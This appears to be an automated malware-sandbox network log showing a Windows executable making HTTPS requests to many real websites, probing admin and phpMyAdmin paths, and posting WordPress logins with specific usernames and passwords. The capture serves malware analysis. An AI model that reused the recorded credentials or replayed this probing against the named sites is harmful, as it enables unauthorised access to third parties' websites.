2023-11-26 06:00:03 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: student.debritto.sch.id Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:04 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 58 2d 43 61 63 68 65 3a 20 48 49 54 20 66 72 6f 6d 20 42 61 63 6b 65 6e 64 0d 0a 53 74 72 69 63 74 2d 54 72 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginx/1.20.1Date: Sun, 26 Nov 2023 06:00:03 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 238Connection: closeLocation: http://117.20.63.148:2030/pma/X-Cache: HIT from BackendStrict-Tra
2023-11-26 06:00:04 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 31 37 2e 32 30 2e 36 33 2e 31 34 38 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://117.20.63.148:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	57033	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	173	OUT	GET /pma/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	199	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 70 6d 61 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:03 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/pma/
2023-11-26 06:00:03 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	57066	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	169	OUT	GET /admin/ HTTP/1.1 Host: grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:03 UTC	331	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 2f 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 06:00:03 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 318Connection: closeLocation: http://www.grantstech.io/admin/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 06:00:
2023-11-26 06:00:03 UTC	318	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/admin/">here</a>.</p><hr><address>Apache/2.4.56 (De

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	57077	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	395	OUT	POST /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/wp/wp-login.php Content-Length: 143 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:03 UTC	143	OUT	Data Raw: 6c 6f 67 3d 63 65 75 61 6e 64 61 6c 75 63 69 61 26 70 77 64 3d 68 6f 6c 61 61 61 61 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 25 32 46 77 70 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=ceuandalucia&pwd=holaaaa&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fwww.ceuandalucia.es%2Fwp%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:04 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:03 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:04 UTC	7437	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	57117	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:03 UTC	356	OUT	POST /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/wp-login.php Content-Length: 139 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:03 UTC	139	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 43 6f 6d 70 72 61 73 47 52 53 32 30 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=ComprasGRS2023&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fgruporegiosafety.com%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:04 UTC	496	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:03 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:04 UTC	7696	IN	Data Raw: 32 38 63 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 28cd<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:04 UTC	2755	IN	Data Raw: 63 61 6c 65 44 61 74 61 28 20 6c 6f 63 61 6c 65 44 61 74 61 2c 20 64 6f 6d 61 69 6e 20 29 3b 0a 7d 20 29 28 20 22 64 65 66 61 75 6c 74 22 2c 20 7b 22 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 76 69 73 69 6f 6e 2d 64 61 74 65 22 3a 22 32 30 32 33 2d 31 31 2d 31 30 20 31 37 3a 31 38 3a 34 37 2b 30 30 30 30 22 2c 22 67 65 6e 65 72 61 74 6f 72 22 3a 22 47 6c 6f 74 50 72 65 73 73 5c 2f 34 2e 30 2e 30 2d 61 6c 70 68 61 2e 31 31 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 6c 6f 63 61 6c 65 5f 64 61 74 61 22 3a 7b 22 6d 65 73 73 61 67 65 73 22 3a 7b 22 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 70 6c 75 72 61 6c 2d 66 6f 72 6d 73 22 3a 22 6e 70 6c 75 72 61 6c 73 3d 32 3b 20 70 6c 75 72 61 6c 3d 6e 20 21 3d 20 Data Ascii: caleData( localeData, domain );} )( "default", {"translation-revision-date":"2023-11-10 17:18:47+0000","generator":"GlotPress\/4.0.0-alpha.11","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n !=
2023-11-26 06:00:04 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	57144	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	190	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 06:00:04 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:04 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 06:00:04 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	57176	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	177	OUT	GET /pma/ HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:04 UTC	440	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 34 38 30 30 3b 20 45 78 70 69 72 65 73 3d 53 75 6e 2c 20 30 33 20 44 65 63 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:04 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comSet-Cookie: originDirect=true; Max-Age=604800; Expires=Sun, 03 Dec 2023 06:00:04 GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	57161	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	168	OUT	GET /admin HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:05 UTC	1124	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6c 4a 42 4e 55 56 77 52 30 31 6f 65 46 70 50 65 54 46 70 5a 7a 68 35 64 6b 39 42 62 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 6b 74 58 57 47 64 30 64 56 5a 6f 64 6b 4e 6e 64 33 4e 69 61 57 46 47 64 33 4e 44 4f 57 68 6c 53 6e 4e 54 55 45 56 31 5a 6b 74 76 56 33 5a 61 59 57 6c 4a 63 48 6c 57 5a 55 74 35 4c 33 63 33 4e 6d 4a 59 59 32 39 68 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:04 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6IlJBNUVwR01oeFpPeTFpZzh5dk9Bb3c9PSIsInZhbHVlIjoiaktXWGd0dVZodkNnd3NiaWFGd3NDOWhlSnNTUEV1ZktvV3ZaYWlJcHlWZUt5L3c3NmJYY29h
2023-11-26 06:00:05 UTC	5813	IN	Data Raw: 31 36 61 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 66 69 78 65 64 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 Data Ascii: 16a8<!doctype html><html class="fixed"><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	57253	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	184	OUT	GET /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
